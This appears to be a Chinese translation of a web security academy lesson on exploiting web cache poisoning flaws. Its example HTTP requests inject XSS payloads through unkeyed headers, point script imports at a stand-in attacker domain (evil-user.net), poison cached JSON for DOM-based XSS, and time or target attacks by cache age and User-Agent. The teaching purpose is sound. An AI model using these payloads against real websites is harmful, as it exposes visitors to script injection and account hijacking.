缓存设计缺陷的利用

在本节中,我们将更详细地了解由于缓存设计的普遍缺陷而产生的Web缓存投毒漏洞。我们还将演示如何利用这些漏洞。

简而言之,如果网站以不安全的方式处理未键控的输入并允许随后的HTTP响应被缓存,它们就容易受到Web缓存投毒的攻击。这种漏洞可以用作各种不同攻击的传递方法。

使用Web缓存投毒实现XSS攻击

可能最简单的Web缓存投毒漏洞利用是未键控输入在可缓存的响应中反映,且未经适当的无害处理。

例如,请考虑以下请求和响应:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

在这里,X-Forwarded-Host标头的值被用来动态生成一个Open Graph图像URL,然后反映在响应中。对于Web缓存投毒而言至关重要的是,X-Forwarded-Host标头通常是未键控的输入。在这个例子中,缓存可能会被一个包含简单XSS有效载荷的响应所投毒:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />

如果这个响应被缓存,所有访问/en?region=uk的用户都会被提供这个XSS payload。这个例子只是在受害者的浏览器中显示一个警报,但真正的攻击可能窃取密码并劫持用户账户。

阅读更多

利用跨站脚本漏洞

使用Web缓存投毒利用不安全的资源导入处理

一些网站使用未键控的标头来动态生成用于导入资源的URL,例如外部托管的JavaScript文件。在这种情况下,如果攻击者将适当的标头值更改为他们控制的域名,他们可能会操纵URL指向他们自己的恶意JavaScript文件。

如果包含这个恶意URL的响应被缓存,则攻击者的JavaScript文件将被导入,并在请求具有匹配缓存键的任何用户的浏览器会话中执行。

GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0

HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>

LAB

一个未键控标头的Web缓存投毒

Cookie通常用于在响应中动态生成内容。一个常见的例子可能是一个指示用户首选语言的Cookie,然后用于加载相应的页面版本:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close

在这个例子中,请求的是一篇波兰语博客文章。注意,有关要提供哪种语言版本的信息仅包含在Cookie标头中。假设缓存键包含请求行和Host标头,但不包含Cookie标头。在这种情况下,如果这个请求的响应被缓存,那么所有后续尝试访问这篇博客文章的用户都将收到波兰语版本,而不管他们实际上选择了哪种语言。

缓存处理Cookie的这种缺陷也可以使用Web缓存投毒技术进行利用。然而,在实践中,与基于标头的缓存投毒相比,这种载体相对较少。当存在基于Cookie的缓存投毒漏洞时,由于合法用户无意中投毒了缓存,因此它们往往被迅速识别并解决。

LAB

使用未键控Cookie的Web缓存投毒

使用多个标头来利用Web缓存投毒漏洞

有些网站容易受到简单的Web缓存投毒攻击,如上所示。然而,其他网站需要更复杂的攻击,并且仅在攻击者能够制作一个操纵多个未键控输入的请求时才变得容易受攻击。

例如,假设一个网站需要使用HTTPS进行安全通信。为了强制执行此操作,如果收到使用其他协议的请求,网站会动态生成一个指向自身的使用HTTPS的重定向:

GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http

HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random

就其本身而言,这种行为并不一定容易受到攻击。然而,通过将此与我们之前了解到的关于动态生成URL漏洞的知识结合起来,攻击者可能利用这种行为生成一个可缓存的响应,将用户重定向到恶意URL。

LAB

多个标头的Web缓存投毒

利用暴露过多信息的响应

有时,网站会因为透露了关于自己及其行为的太多信息而使自己更容易受到Web缓存投毒攻击。

缓存控制指令

在构造Web缓存投毒攻击时,确保有害响应被缓存是一个挑战。这可能涉及到大量的手动尝试和错误,以研究缓存的行为。然而,有时响应会明确透露攻击者为成功投毒缓存所需的一些信息。

一个这样的例子是,当响应包含有关缓存被清除的频率或当前缓存响应的Age的信息时:

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

虽然这并不直接导致Web缓存投毒漏洞,但它确实节省了潜在攻击者进行手动努力的部分时间,因为他们知道确切的时间发送payload以确保它被缓存。

这种知识也使得更多微妙的攻击成为可能。而不是用请求轰炸后端服务器,直到其中一个请求被接受,这可能引起怀疑,攻击者可以精心选择一个恶意请求来投毒缓存。

Vary标头

Vary标头的基本用法也可以为攻击者提供一些帮助。Vary标头指定了一个额外的标头列表,即使它们通常是未键控的,也应该将它们作为缓存键的一部分。它通常用于指定User-Agent标头是缓存键的,例如,如果一个网站的移动版被缓存,这就不会错误地提供给非移动端用户。

这些信息也可以用来构造一个多步骤的攻击,以针对特定的用户子集。例如,如果攻击者知道User-Agent标头是缓存键的一部分,通过首先确定目标受害者的User Agent,他们可以量身定制攻击,使只有拥有该User Agent的用户受到影响。或者,他们可以找出哪个User Agent最常用于访问该网站,并通过这种方式调整攻击,以影响尽可能多的用户。

LAB

使用一个未知标头针对Web缓存投毒

使用Web缓存投毒来利用基于DOM的漏洞

如前所述,如果网站使用未键控的标头不安全地导入文件,这可能会被攻击者利用来导入恶意文件。然而,这不仅仅适用于JavaScript文件。

许多网站使用JavaScript从后端获取和处理额外的数据。如果一个脚本以不安全的方式处理来自服务器的数据,这可能导致各种基于DOM的漏洞。

例如,攻击者可以使用一个包含以下payload的JSON文件来投毒缓存:

{"someProperty" : "<svg onload=alert(1)>"}

如果网站将此属性的值传递给支持动态代码执行的接收器,payload将在受害者浏览器会话的上下文中执行。

如果你使用Web缓存投毒使一个网站从你的服务器加载恶意的JSON数据,你可能需要使用CORS授予网站对JSON的访问权限:

HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *

{
    "malicious json" : "malicious json"
}

阅读更多

基于DOM的漏洞

LAB

通过具有严格可缓存性标准的缓存利用DOM漏洞的Web缓存投毒

链式Web缓存投毒漏洞

如前所述,有时攻击者只能通过使用多个标头来精心制作一个请求,来引发一个恶意响应。对于不同类型的攻击来说也是如此。Web缓存投毒有时需要攻击者将我们讨论过的多种技术链在一起。通过将不同的漏洞链接在一起,往往可以暴露出最初无法利用的额外漏洞层。

LAB

结合Web缓存投毒漏洞

Last updated